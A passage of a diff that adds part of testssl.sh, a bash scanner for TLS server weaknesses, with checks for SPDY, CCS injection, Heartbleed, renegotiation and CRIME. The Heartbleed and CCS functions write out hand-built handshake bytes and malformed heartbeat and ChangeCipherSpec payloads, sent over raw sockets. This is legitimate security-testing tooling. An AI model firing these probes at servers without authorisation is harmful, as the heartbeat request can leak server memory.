+ ret=3
+ fi
+ $OPENSSL s_client -host $NODE -port $PORT -nextprotoneg $NPN_PROTOs </dev/null 2>/dev/null >$TMPFILE
+ if [ $? -eq 0 ]; then
+ # we need -a here
+ tmpstr=`grep -a '^Protocols' $TMPFILE | sed 's/Protocols.*: //'`
+ if [ -z "$tmpstr" -o "$tmpstr" = " " ] ; then
+ out "not offered"
+ ret=1
+ else
+ # now comes a strange thing: "Protocols advertised by server:" is empty but connection succeeded
+ if echo $tmpstr | egrep -q "spdy|http" ; then
+ green "$tmpstr" ; out " (advertised)"
+ ret=0
+ else
+ litemagenta "please check manually, response from server was ambigious ..."
+ ret=10
+ fi
+ fi
+ else
+ litemagenta "handshake failed"
+ ret=2
+ fi
+ outln
+ # btw: nmap can do that too http://nmap.org/nsedoc/scripts/tls-nextprotoneg.html
+ # nmap --script=tls-nextprotoneg #NODE -p $PORT is your friend if your openssl doesn't want to test this
+ rm $TMPFILE
+ return $ret
+}
+
+fd_socket() {
+# arg doesn't work here
+ if ! exec 5<> /dev/tcp/$NODEIP/$PORT; then
+ echo "`basename $0`: unable to make bash socket connection to $NODEIP:$PORT"
+ return 6
+ fi
+ return 0
+}
+
+ok_ids(){
+ echo
+ tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0
+ echo
+ exit 0
+}
+
+ccs_injection(){
+ # see https://www.openssl.org/news/secadv_20140605.txt
+ # mainly adapted from Ramon de C Valle's C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
+ bold " CCS "; out " (CVE-2014-0224), experimental "
+ ccs_message="\x14\x03\tls_version\x00\x01\x01"
+
+ $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT &>$TMPFILE </dev/null
+
+ tls_hexcode=x01
+ proto_offered=`grep -w Protocol $TMPFILE | sed -e 's/^ \+Protocol \+://'`
+ case $tls_proto_offered in
+ *TLSv1.2*) tls_hexcode=x03 ;;
+ *TLSv1.1*) tls_hexcode=x02 ;;
+ esac
+
+ client_hello="
+ # TLS header ( 5 bytes)
+ ,x16, # Content type (x16 for handshake)
+ x03, tls_version, # TLS Version
+ x00, x93, # Length
+ # Handshake header
+ x01, # Type (x01 for ClientHello)
+ x00, x00, x8f, # Length
+ x03, tls_version, # TLS Version
+ # Random (32 byte)
+ x53, x43, x5b, x90, x9d, x9b, x72, x0b,
+ xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+ xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+ x03, x90, x9f, x77, x04, x33, xd4, xde,
+ x00, # Session ID length
+ x00, x68, # Cipher suites length
+ # Cipher suites (51 suites)
+ xc0, x13, xc0, x12, xc0, x11, xc0, x10,
+ xc0, x0f, xc0, x0e, xc0, x0d, xc0, x0c,
+ xc0, x0b, xc0, x0a, xc0, x09, xc0, x08,
+ xc0, x07, xc0, x06, xc0, x05, xc0, x04,
+ xc0, x03, xc0, x02, xc0, x01, x00, x39,
+ x00, x38, x00, x37, x00, x36, x00, x35, x00, x34,
+ x00, x33, x00, x32, x00, x31, x00, x30,
+ x00, x2f, x00, x16, x00, x15, x00, x14,
+ x00, x13, x00, x12, x00, x11, x00, x10,
+ x00, x0f, x00, x0e, x00, x0d, x00, x0c,
+ x00, x0b, x00, x0a, x00, x09, x00, x08,
+ x00, x07, x00, x06, x00, x05, x00, x04,
+ x00, x03, x00, x02, x00, x01, x01, x00"
+
+ msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' -e 's/[ \t]//g' | tr -d '\n'`
+
+ fd_socket 5 || return 6
+
+ [ $VERBOSE -eq 1 ] && out " sending client hello, "
+ socksend "$msg" $tls_hexcode 1
+ sockread 10000
+
+ if [ $VERBOSE -eq 1 ]; then
+ outln "\n server hello:"
+ echo "$SOCKREPLY" | xxd -c32 | head -20
+ outln "[...]"
+ outln "payload with TLS version $tls_hexcode:"
+ fi
+
+ socksend $ccs_message $tls_hexcode 1 || ok_ids
+ socksend $ccs_message $tls_hexcode 2 || ok_ids
+ sockread 16384
+
+ if [ $VERBOSE -eq 1 ]; then
+ outln "\n reply: "
+ echo "$SOCKREPLY" | xxd -c32
+ outln
+ fi
+
+ reply_sanitized=`echo "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'`
+ lines=`echo "$SOCKREPLY" | xxd -c32 | wc -l`
+
+ if [ "$reply_sanitized" == "0a" ] || [ "$lines" -gt 1 ] ; then
+ greenln "NOT vulnerable (ok)"
+ ret=0
+ else
+ redln "VULNERABLE"
+ ret=1
+ fi
+ rm $TMPFILE
+ return $ret
+}
+
+heartbleed(){
+ bold " Heartbleed\c"; out " (CVE-2014-0160), experimental "
+# see http://heartbleed.com/
+ $OPENSSL s_client -tlsextdebug 2>&1 | grep -wq '^usage'
+ if [ $? -eq 0 ]; then
+ magenta "Local problem: Your $OPENSSL cannot run the pretest for this - "
+ outln "continueing at your own risks"
+ fi
+# we don't need SNI here:
+ $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT -tlsextdebug &>$TMPFILE </dev/null
+ grep "server extension" $TMPFILE | grep -wq heartbeat
+ if [ $? -ne 0 ]; then
+ greenln "No TLS heartbeat extension (ok)"
+ ret=0
+ else
+ # mainly adapted from https://gist.github.com/takeshixx/10107280
+ heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
+
+ tls_hexcode=x01
+ proto_offered=`grep -w Protocol $TMPFILE | sed -e 's/^ \+Protocol \+://'`
+ case $tls_proto_offered in
+ *TLSv1.2*) tls_hexcode=x03 ;;
+ *TLSv1.1*) tls_hexcode=x02 ;;
+ esac
+
+ client_hello="
+ # TLS header ( 5 bytes)
+ ,x16, # Content type (x16 for handshake)
+ x03, tls_version, # TLS Version
+ x00, xdc, # Length
+ # Handshake header
+ x01, # Type (x01 for ClientHello)
+ x00, x00, xd8, # Length
+ x03, tls_version, # TLS Version
+ # Random (32 byte)
+ x53, x43, x5b, x90, x9d, x9b, x72, x0b,
+ xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+ xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+ x03, x90, x9f, x77, x04, x33, xd4, xde,
+ x00, # Session ID length
+ x00, x66, # Cipher suites length
+ # Cipher suites (51 suites)
+ xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+ x00, x39, x00, x38, x00, x88, x00, x87,
+ xc0, x0f, xc0, x05, x00, x35, x00, x84,
+ xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+ x00, x16, x00, x13, xc0, x0d, xc0, x03,
+ x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+ xc0, x1e, x00, x33, x00, x32, x00, x9a,
+ x00, x99, x00, x45, x00, x44, xc0, x0e,
+ xc0, x04, x00, x2f, x00, x96, x00, x41,
+ xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+ x00, x05, x00, x04, x00, x15, x00, x12,
+ x00, x09, x00, x14, x00, x11, x00, x08,
+ x00, x06, x00, x03, x00, xff,
+ x01, # Compression methods length
+ x00, # Compression method (x00 for NULL)
+ x00, x49, # Extensions length
+ # Extension: ec_point_formats
+ x00, x0b, x00, x04, x03, x00, x01, x02,
+ # Extension: elliptic_curves
+ x00, x0a, x00, x34, x00, x32, x00, x0e,
+ x00, x0d, x00, x19, x00, x0b, x00, x0c,
+ x00, x18, x00, x09, x00, x0a, x00, x16,
+ x00, x17, x00, x08, x00, x06, x00, x07,
+ x00, x14, x00, x15, x00, x04, x00, x05,
+ x00, x12, x00, x13, x00, x01, x00, x02,
+ x00, x03, x00, x0f, x00, x10, x00, x11,
+ # Extension: SessionTicket TLS
+ x00, x23, x00, x00,
+ # Extension: Heartbeat
+ x00, x0f, x00, x01, x01"
+
+ msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' -e 's/[ \t]//g' | tr -d '\n'`
+
+ fd_socket 5 || return 6
+
+ [ $VERBOSE -eq 1 ] && out " sending client hello, "
+ socksend "$msg" $tls_hexcode 1
+ sockread 10000
+
+ if [ $VERBOSE -eq 1 ]; then
+ outln "\n server hello:"
+ echo "$SOCKREPLY" | xxd -c32 | head -20
+ outln "[...]"
+ outln " sending payload with TLS version $tls_hexcode:"
+ fi
+
+ socksend $heartbleed_payload $tls_hexcode 1
+ sockread 16384
+
+ if [ $VERBOSE -eq 1 ]; then
+ outln "\n heartbleed reply: "
+ echo "$SOCKREPLY" | xxd -c32
+ outln
+ fi
+
+ lines_returned=`echo "$SOCKREPLY" | xxd | wc -l`
+ if [ $lines_returned -gt 1 ]; then
+ redln "VULNERABLE"
+ ret=1
+ else
+ greenln "NOT vulnerable (ok)"
+ ret=0
+ fi
+ fi
+ rm $TMPFILE
+ return $ret
+}
+
+
+renego() {
+ ADDCMD=""
+ # This tests for CVE-2009-3555 / RFC5746, OSVDB: 59968-59974
+ case "$OSSL_VER" in
+ # =< 0.9.7 is weeded out before
+ 0.9.8*)
+ case "$OSSL_VER_APPENDIX" in
+ [a-l])
+ magenta "Your $OPENSSL $OSSL_VER cannot test the secure renegotiation vulnerability"
+ return 3 ;;
+ [m-z])
+ # all ok ;;
+ esac ;;
+ 1.0.1*)
+ ADDCMD="-legacy_renegotiation" ;;
+ 0.9.9*|1.0*)
+ # all ok ;;
+ esac
+ bold " Renegotiation "; out "(CVE 2009-3555) "
+ echo R | $OPENSSL s_client $ADDCMD $STARTTLS -connect $NODEIP:$PORT $SNI &>/dev/null
+ reneg_ok=$? # 0=client is renegotiating and does not gets an error: that should not be!
+ NEG_STR="Secure Renegotiation IS NOT"
+ echo "R" | $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>&1 | grep -iq "$NEG_STR"
+ secreg=$? # 0= Secure Renegotiation IS NOT supported
+
+ if [ $reneg_ok -eq 0 ] && [ $secreg -eq 0 ]; then
+ # Client side renegotiation is accepted and secure renegotiation IS NOT supported
+ redln "is vulnerable (not ok)"
+ return 1
+ fi
+ if [ $reneg_ok -eq 1 ] && [ $secreg -eq 1 ]; then
+ greenln "NOT vulnerable (ok)"
+ return 0
+ fi
+ if [ $reneg_ok -eq 1 ] ; then # 1,0
+ litegreenln "got an error from the server while renegotiating on client: should be ok ($reneg_ok,$secreg)"
+ return 0
+ fi
+ litegreenln "Patched Server detected ($reneg_ok,$secreg), probably ok" # 0,1
+ return 0
+}
+
+crime() {
+ # in a nutshell: don't offer TLS/SPDY compression on the server side
+ #
+ # This tests for CRIME Vulnerability (www.ekoparty.org/2012/juliano-rizzo.php) on HTTPS, not SPDY (yet)
+ # Please note that it is an attack where you need client side control, so in regular situations this
+ # means anyway "game over", w/wo CRIME
+ # www.h-online.com/security/news/item/Vulnerability-in-SSL-encryption-is-barely-exploitable-1708604.html
+
+ ADDCMD=""
+ case "$OSSL_VER" in
+ # =< 0.9.7 was weeded out before
+ 0.9.8)
+ ADDCMD="-no_ssl2" ;;
+ 0.9.9*|1.0*)
+ ;;
+ esac
+
+ bold " CRIME, TLS " ; out "(CVE-2012-4929) "
+
+ # first we need to test whether OpenSSL binary has zlib support
+ $OPENSSL zlib -e -a -in /dev/stdin &>/dev/stdout </dev/null | grep -q zlib
+ if [ $? -eq 0 ]; then
+ magentaln "Seems your $OPENSSL hasn't zlib support, so you cannot test for CRIME"; echo
+ return 0 #FIXME
+ fi
+
+ STR=`$OPENSSL s_client $ADDCMD $STARTTLS -connect $NODEIP:$PORT $SNI 2>&1 </dev/null | grep Compression `
+ if echo $STR | grep -q NONE >/dev/null; then
+ greenln "NOT vulnerable (ok) "
+ ret=0
+ else
+ redln "is vulnerable (not ok)"
+ ret=1
+ fi
+
+# this needs to be re-done i order to remove the redundant check for spdy
+
+ # weed out starttls, spdy-crime is a web thingy
+# if [ "x$STARTTLS" != "x" ]; then
+# echo
+# return $ret
+# fi
+
+ # weed out non-webports, spdy-crime is a web thingy. there's a catch thoug, you see it?
+# case $PORT in
+# 25|465|587|80|110|143|993|995|21)
+# echo
+# return $ret
+# esac
+
+# $OPENSSL s_client help 2>&1 | grep -qw nextprotoneg
+# if [ $? -eq 0 ]; then
+# $OPENSSL s_client -host $NODE -port $PORT -nextprotoneg $NPN_PROTOs $SNI </dev/null 2>/dev/null >$TMPFILE
+# if [ $? -eq 0 ]; then
+# echo
+# bold "CRIME Vulnerability, SPDY \c" ; outln "(CVE-2012-4929): \c"
+
+# STR=`grep Compression $TMPFILE `
+# if echo $STR | grep -q NONE >/dev/null; then
+# green "NOT vulnerable (ok)"
+# ret=`expr $ret + 0`
+# else
+# red "is vulnerable (not ok)"
+# ret=`expr $ret + 1`
+# fi
+# fi
+# fi
+ [ $VERBERR -eq 0 ] && outln "$STR"
+ #echo
+ return $ret
+}
+
+beast(){
+ #FIXME: to do
+#in a nutshell: don't use CBC Ciphers in TLSv1.0
+# need to provide a list with bad ciphers. Not sure though whether
+# it can be fixed in the OpenSSL/NSS/whatsover stack
+ return 0
+}
+
+youknowwho() {
+# CVE-2013-2566,
+# NOT FIXME as there's no code: http://www.isg.rhul.ac.uk/tls/
+# http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html
+return 0
+# in a nutshell: don't use RC4, really not!
+}
+
+old_fart() {
+ magentaln "Your $OPENSSL $OSSL_VER version is an old fart..."
+ magentaln "Get the precompiled bins, it doesn\'t make much sense to proceed"
+ exit 3
+}
+
+find_openssl_binary() {
+# 0. check environment variable whether it's executable
+ if [ ! -z "$OPENSSL" ] && [ ! -x "$OPENSSL" ]; then
+ redln "\ncannot execute specified ($OPENSSL) openssl binary."
+ outln "continuing ..."
+ fi
+ if [ -x "$OPENSSL" ]; then
+# 1. check environment variable
+ :
+ else
+# 2. otherwise try openssl in path of testssl.sh
+ OPENSSL=$RUN_DIR/openssl
+ if [ ! -x $OPENSSL ] ; then
+# 3. with arch suffix
+ OPENSSL=$RUN_DIR/openssl.`uname -m`
+ if [ ! -x $OPENSSL ] ; then
+#4. finally: didn't fiond anything, so we take the one propably from system:
+ OPENSSL=`which openssl`
+ fi
+ fi
+ fi
+
+ # http://www.openssl.org/news/openssl-notes.html
+ OSSL_VER=`$OPENSSL version | awk -F' ' '{ print $2 }'`
+ OSSL_VER_MAJOR=`echo "$OSSL_VER" | sed 's/\..*$//'`
+ OSSL_VER_MINOR=`echo "$OSSL_VER" | sed -e 's/^.\.//' | sed 's/\..*.//'`
+ OSSL_VER_APPENDIX=`echo "$OSSL_VER" | tr -d '[0-9.]'`
+ OSSL_BUILD_DATE=`$OPENSSL version -a | grep '^built' | sed -e 's/built on//' -e 's/: ... //' -e 's/: //' -e 's/ UTC//' -e 's/ +0000//' -e 's/.000000000//'`
+ echo $OSSL_BUILD_DATE | grep -q "not available" && OSSL_BUILD_DATE=""
+ export OPENSSL OSSL_VER OSSL_BUILD_DATE
+ case "$OSSL_VER" in
+ 0.9.7*|0.9.6*|0.9.5*)
+ # 0.9.5a was latest in 0.9.5 an released 2000/4/1, that'll NOT suffice for this test
+ old_fart ;;
+ 0.9.8)
+ case $OSSL_VER_APPENDIX in
+ a|b|c|d|e) old_fart;; # no SNI!
+ esac
+ ;;
+ esac
+ if [ $OSSL_VER_MAJOR -lt 1 ]; then ## mm: libressl patch
+ magentaln "<Enter> at your own risk. $OPENSSL version < 1.0 is too old for this program"
+ read a
+ fi
+ return 0
+}
+
+
+find_nc_binary() {
+## FIXME: only the openbsd netcat understands IPv6 addresses! ==> bash sockets?
+ NC=`which netcat 2>/dev/null`
+ if [ "$?" -ne 0 ]; then
+ NC=`which nc 2>/dev/null`
+ if [ "$?" -ne 0 ]; then
+ outln "sorry. No netcat found, bye."
+ return 1
+ fi
+ fi
+ return 0
+}
+
+starttls() {
+ protocol=`echo "$1" | sed 's/s$//'` # strip trailing s in ftp(s), smtp(s), pop3(s), imap(s)
+ case "$1" in
+ ftp|smtp|pop3|imap|xmpp|telnet)
+ $OPENSSL s_client -connect $NODEIP:$PORT $SNI -starttls $protocol </dev/null >$TMPFILE 2>&1
+ ret=$?
+ if [ $ret -ne 0 ]; then
+ bold "Problem: $OPENSSL couldn't estabilish STARTTLS via $protocol"; outln
+ cat $TMPFILE
+ return 3
+ else
+# now, this is lame: normally this should be handled by top level. Then I need to do proper parsing
+# of the cmdline e.g. with getopts.
+ STARTTLS="-starttls $protocol"
+ export STARTTLS
+ runprotocols ; ret=`expr $? + $ret`
+ run_std_cipherlists ; ret=`expr $? + $ret`
+ simple_preference ; ret=`expr $? + $ret`
+
+ outln; blue "--> Testing specific vulnerabilities" ; outln "\n"
+#FIXME: heartbleed + CCS won't work this way yet
+# heartbleed ; ret=`expr $? + $ret`
+# ccs_injection ; ret=`expr $? + $ret`
+ renego ; ret=`expr $? + $ret`
+ crime ; ret=`expr $? + $ret`
+ beast ; ret=`expr $? + $ret`
+
+ outln
+ #cipher_per_proto ; ret=`expr $? + $ret`
+ allciphers ; ret=`expr $? + $ret`
+
+ rc4 ; ret=`expr $? + $ret`
+ pfs ; ret=`expr $? + $ret`
+ fi
+ ;;
+ *) outln "momentarily only ftp, smtp, pop3, imap, xmpp and telnet allowed" >&2
+ ret=2
+ ;;
+ esac
+ return $ret
+}
+
+
+help() {
+ PRG=`basename $0`
+ cat << EOF
+
+$PRG <options> URI
+
+where <options> is *one* of
+
+ <-h|--help> what you're looking at
+ <-b|--banner> displays banner + version
+ <-v|--version> same as above
+ <-V|--local> pretty print all local ciphers
+ <-V|--local> <hexcode> what cipher is <pattern hexcode>?
+
+ <-e|--each-cipher> check each local ciphers remotely
+ <-E|-ee|--cipher-per-proto> check those per protocol
+ <-f|--ciphers> check cipher suites
+ <-p|--protocols> check TLS/SSL protocols only
+ <-P|--preference> displays the servers picks: protocol+cipher
+ <-y|--spdy> checks for SPDY/NPN
+ <-B|--heartbleed> tests only for heartbleed vulnerability
+ <-I|--ccs|--ccs_injection> tests only for CCS injection vulnerability
+ <-R|--renegotiation> tests only for renegotiation vulnerability
+ <-C|--compression|--crime> tests only for CRIME vulnerability
+ <-T|--breach> tests only for BREACH vulnerability
+ <-s|--pfs|--fs|--nsa> checks (perfect) forward secrecy settings
+ <-4|--rc4|--appelbaum> which RC4 ciphers are being offered?
+ <-H|--header|--headers> check for HSTS and server banner string
+
+URI is host|host:port|URL|URL:port
+ (port 443 is assumed unless otherwise specified)
+
+ <-t|--starttls> host:port <ftp|smtp|pop3|imap|xmpp|telnet> <SNI hostname> *)
+
+
+*) for telnet STARTTLS support you need a/my patched openssl version
+
+
+EOF
+ return $?
+}
+
+
+mybanner() {
+ me=`basename $0`
+ osslver=`$OPENSSL version`
+ osslpath=`which $OPENSSL`
+ hn=`hostname`
+ #poor man's ident (nowadays not neccessarily installed)
+ idtag=`grep '\$Id' $0 | grep -w Exp | grep -v grep | sed -e 's/^# //' -e 's/\$ $/\$/'`
+ idtagshy="\033[1;30m$idtag\033[m\033[1m"
+ bb=`cat <<EOF
+
+#########################################################
+$me v$VERSION ($SWURL)
+($idtagshy)
+
+ This program is free software. Redistribution +
+ modification under GPLv2 is permitted.
+ USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
+
+ Note you can only check the server against what is
+ available (ciphers/protocols) locally on your machine
+#########################################################
+EOF
+`
+bold "$bb"
+outln "\n"
+outln "Using \"$osslver\" [$OSSL_BUILD_DATE]
+ on \"$hn:$osslpath\"\n"
+
+}
+
+maketempf () {
+ TMPFILE=`mktemp /tmp/ssltester.$NODE.XXXXXX` || exit 6
+ HEADERFILE=`mktemp /tmp/ssltester.header$NODE.XXXXXX` || exit 6
+ HEADERFILE_BREACH=`mktemp /tmp/ssltester.header$NODE.XXXXXX` || exit 6
+ #LOGFILE=`mktemp /tmp/ssltester.$NODE.XXXXXX.log` || exit 6
+}
+
+cleanup () {
+ if [ $DEBUG -eq 1 ] ; then
+ [ -e $TMPFILE ] && cat $TMPFILE
+ [ -e $HEADERFILE ] && cat $HEADERFILE
+ [ -e $HEADERFILE_BREACH ] && cat $HEADERFILE_BREACH
+ #[ -e $LOGFILE ] && cat $LOGFILE
+ else
+ rm $TMPFILE $HEADERFILE $LOGFILE $GOST_CONF 2>/dev/null
+ fi
+ outln
+ outln
+ datebanner "Done"
+ outln
+}
+
+initialize_engine(){
+ if uname -s | grep -q BSD || ! $OPENSSL engine gost -vvvv -t -c 2>&1 >/dev/null; then
+ litemagenta "No engine or GOST support via engine with your $OPENSSL"; outln "\n"
+ return 1
+ else
+ if [ -z "$OPENSSL_CONF" ]; then
+ GOST_CONF=`mktemp /tmp/ssltester.GOST.XXXXXX` || exit 6
+ # see https://www.mail-archive.com/openssl-users@openssl.org/msg65395.html
+ cat >$GOST_CONF << EOF
+openssl_conf = openssl_def
+
+[ openssl_def ]
+engines = engine_section
+
+[ engine_section ]
+gost = gost_section
+
+[ gost_section ]
+engine_id = gost
+default_algorithms = ALL
+CRYPT_PARAMS = id-Gost28147-89-CryptoPro-A-ParamSet
+
+EOF
+ export OPENSSL_CONF=$GOST_CONF
+ else
+ litemagenta "For now I am providing the config file in to have GOST support"; outln
+ sleep 2
+ outln
+ fi
+ fi
+ return 0
+}
+
+
+ignore_no_or_lame() {
+ if [ "$WARNINGS" = "off" -o "$WARNINGS" = "false" ]; then
+ return 0
+ fi
+ outln
+ out "$1 "
+ read a
+ case $a in
+ Y|y|Yes|YES|yes)
+ return 0;;
+ default)
+ ;;
+ esac
+
+ return 1
+}
+
+
+parse_hn_port() {
+ PORT=443 # unless otherwise auto-determined, see below
+ NODE="$1"
+
+ # strip "https" and trailing urlpath supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///'`
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # was the address supplied like [AA:BB:CC::]:port ?
+ if echo $NODE | grep -q ']' ; then
+ tmp_port=`printf $NODE | sed 's/\[.*\]//' | sed 's/://'`
+ # determine v6 port, supposed it was supplied additionally
+ if [ ! -z "$tmp_port" ] ; then
+ PORT=$tmp_port
+ NODE=`printf $NODE | sed "s/:$PORT//"`
+ fi
+ NODE=`printf $NODE | sed -e 's/\[//' -e 's/\]//'`
+ else
+ # determine v4 port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
+ fi
+ SNI="-servername $NODE"
+
+ #URLP=`echo $1 | sed 's/'"${PROTO}"':\/\/'"${NODE}"'//'`
+ #URLP=`echo $URLP | sed 's/\/\//\//g'` # // -> /
+
+ # now get NODEIP
+ get_dns_entries
+
+ # check if netcat can connect to port
+ if find_nc_binary; then
+ if ! $NC -z -v -w 2 $NODEIP $PORT &>/dev/null; then
+ ignore_no_or_lame "Supply a correct host/port pair. On $NODEIP:$PORT doesn't seem to be any service. Ignore? "
+ [ $? -ne 0 ] && exit 3
+ fi
+ fi
+
+ if [ -z "$2" ]; then # for starttls we don't want this check
+ # is ssl service listening on port? FIXME: better with bash on IP!
+ $OPENSSL s_client -connect "$NODE:$PORT" $SNI </dev/null >/dev/null 2>&1
+ if [ $? -ne 0 ]; then
+ ignore_no_or_lame "On port $PORT @ $NODE seems a server but not TLS/SSL enabled. Ignore? "
+ [ $? -ne 0 ] && exit 3
+ fi
+ fi
+
+ datebanner "Testing"
+
+ [ "$PORT" != 443 ] && bold "A non standard port or testing no web servers might show lame reponses (then just wait)\n"
+ initialize_engine
+}
+
+
+get_dns_entries() {
+ # for security testing sometimes we have local host entries, so getent is preferred
+ if which getent 2>&1 >/dev/null ; then
+ getent ahostsv4 $NODE 2>/dev/null >/dev/null
+ if [ $? -eq 0 ]; then
+ # Linux, no BSD
+ key2get=ahostsv4
+ else
+ key2get=hosts
+ fi
+ fi
+ IP4=`getent $key2get $NODE &>/dev/null | grep $NODE | grep -v ':' | awk '{ print $1}' | uniq`
+ # getent returned nothing:
+ if [ -z "$IP4" ] ; then
+ IP4=`host -t a $NODE | grep -v alias | sed 's/^.*address //'`
+ if echo "$IP4" | grep -q NXDOMAIN ; then
+ magenta "Can't proceed: No IP resultion from \"$NODE\""; outln "\n"
+ exit 1
+ fi
+ fi
+
+ # for IPv6 we often get this :ffff:IPV4 address which isn't of any use
+ #which getent 2>&1 >/dev/null && IP6=`getent ahostsv6 $NODE | grep $NODE | awk '{ print $1}' | grep -v '::ffff' | uniq`
+
+ if [ -z "$IP6" ] ; then
+ if host -t aaaa $NODE 2>&1 >/dev/null ; then
+ IP6=`host -t aaaa $NODE | grep -v alias | grep -v "no AAAA record" | sed 's/^.*address //'`
+ else
+ IP6=""
+ fi
+ fi
+
+ IPADDRs=`echo $IP4`
+ [ ! -z "$IP6" ] && IPADDRs=`echo $IP4`" "`echo $IP6`
+
+# FIXME: we could test more than one IPv4 addresses if available, same IPv6. For now we test the first IPv4:
+ NODEIP=`echo "$IP4" | head -1`
+
+# we can't do this as some checks are not yet IPv6 safe (sorry!)
+ #NODEIP=`echo "$IP6" | head -1`
+ rDNS=`host -t PTR $NODEIP | grep -v "is an alias for" | sed -e 's/^.*pointer //' -e 's/\.$//'`
+ echo $rDNS | grep -q NXDOMAIN && rDNS=" - "
+}
+
+display_rdns_etc() {
+ if [ `echo "$IPADDRs" | wc -w` -gt 1 ]; then
+ out " further IP addresses: "
+ for i in $IPADDRs; do
+ [ "$i" == "$NODEIP" ] && continue
+ out " $i"
+ done
+ outln
+ fi
+ if [ -n "$rDNS" ] ; then
+ out " rDNS ($NODEIP):"
+ out "$rDNS" 26
+ outln
+ fi
+}
+
+datebanner() {
+ tojour=`date +%F`" "`date +%R`
+ reverse "$1 now ($tojour) ---> $NODEIP:$PORT ($NODE) <---"; outln
+ if [ "$1" = "Testing" ] ; then
+ outln
+ display_rdns_etc
+ outln
+ fi
+ outln
+}
+
+
+
+################# main: #################
+
+
+case "$1" in
+ -h|--help|-help|"")
+ help
+ exit $? ;;
+esac
+
+# auto determine where bins are
+find_openssl_binary
+mybanner
+
+#PATH_TO_TESTSSL="$(cd "${0%/*}" 2>/dev/null; echo "$PWD"/"${0##*/}")"
+PATH_TO_TESTSSL=`readlink "$BASH_SOURCE"` 2>/dev/null
+[ -z $PATH_TO_TESTSSL ] && PATH_TO_TESTSSL="."
+MAP_RFC_FNAME=`dirname $PATH_TO_TESTSSL`"/mapping-rfc.txt" # this file provides a pair "keycode/ RFC style name", see the RFCs, cipher(1)
+ # and https://www.carbonwind.net/TLS_Cipher_Suites_Project/tls_ssl_cipher_suites_simple_table_all.htm
+
+#FIXME: I know this sucks and getoptS is better
+
+case "$1" in
+ -b|--banner|-banner|-v|--version|-version)
+ exit 0
+ ;;
+ -V|--local)
+ initialize_engine # GOST support
+ prettyprint_local "$2"
+ exit $? ;;
+ -t|--starttls)
+ parse_hn_port "$2" "$3" # here comes hostname:port and protocol to signal starttls
+ maketempf
+ starttls "$3" # protocol
+ ret=$?
+ cleanup
+ exit $ret ;;
+ -e|--each-cipher)
+ parse_hn_port "$2"
+ maketempf
+ allciphers
+ ret=$?
+ cleanup
+ exit $ret ;;
+ -E|-ee|--cipher-per-proto)
+ parse_hn_port "$2"
+ maketempf
+ cipher_per_proto
+ ret=$?
+ cleanup
+ exit $ret ;;
+ -p|--protocols)
+ parse_hn_port "$2"
+ maketempf
+ runprotocols ; ret=$?
+ spdy ; ret=`expr $? + $ret`
+ cleanup
+ exit $ret ;;
+ -f|--ciphers)
+ parse_hn_port "$2"
+ maketempf
+ run_std_cipherlists
+ ret=$?
+ cleanup
+ exit $ret ;;
+ -P|--preference)
+ parse_hn_port "$2"
+ maketempf
+ simple_preference
+ ret=$?
+ cleanup
+ exit $ret ;;
+ -y|--spdy|--google)
+ parse_hn_port "$2"
+ maketempf
+ spdy
+ ret=$?
+ cleanup
+ exit $? ;;
+ -B|--heartbleet)
+ parse_hn_port "$2"
+ maketempf
+ outln; blue "--> Testing for heartbleed vulnerability"; outln "\n"
+ heartbleed
+ ret=$?
+ cleanup
+ exit $? ;;
+ -I|--ccs|--ccs_injection)
+ parse_hn_port "$2"
+ maketempf
+ outln; blue "--> Testing for CCS injection vulnerability"; outln "\n"
+ ccs_injection
+ ret=$?
+ cleanup
+ exit $? ;;
+ -R|--renegotiation)
+ parse_hn_port "$2"
+ maketempf
+ outln; blue "--> Testing for Renegotiation vulnerability"; outln "\n"
+ renego
+ ret=$?
+ cleanup
+ exit $? ;;
+ -C|--compression|--crime)
+ parse_hn_port "$2"
+ maketempf
+ outln; blue "--> Testing for CRIME vulnerability"; outln "\n"
+ crime
+ ret=$?
+ cleanup
+ exit $? ;;
+ -T|--breach)
+ parse_hn_port "$2"
+ maketempf
+ outln; blue "--> Testing for BREACH (HTTP compression) vulnerability"; outln "\n"
+ breach
+ ret=$?
+ ret=`expr $? + $ret`
+ cleanup
+ exit $ret ;;
+ -4|--rc4|--appelbaum)
+ parse_hn_port "$2"
+ maketempf
+ rc4
+ ret=$?
+ cleanup
+ exit $? ;;
+ -s|--pfs|--fs|--nsa)
+ parse_hn_port "$2"
+ maketempf
+ pfs
+ ret=$?
+ cleanup
+ exit $ret ;;
+ -H|--header|--headers)
+ parse_hn_port "$2"
+ maketempf
+ outln; blue "--> Testing HTTP Header response"; outln "\n"
+ hsts
+ ret=$?
+ serverbanner
+ ret=`expr $? + $ret`
+ cleanup
+ exit $ret ;;
+ *)
+ parse_hn_port "$1"
+ maketempf
+
+ runprotocols ; ret=$?
+ spdy ; ret=`expr $? + $ret`
+ run_std_cipherlists ; ret=`expr $? + $ret`
+ simple_preference ; ret=`expr $? + $ret`
+
+ outln; blue "--> Testing specific vulnerabilities"; outln "\n"
+ heartbleed ; ret=`expr $? + $ret`
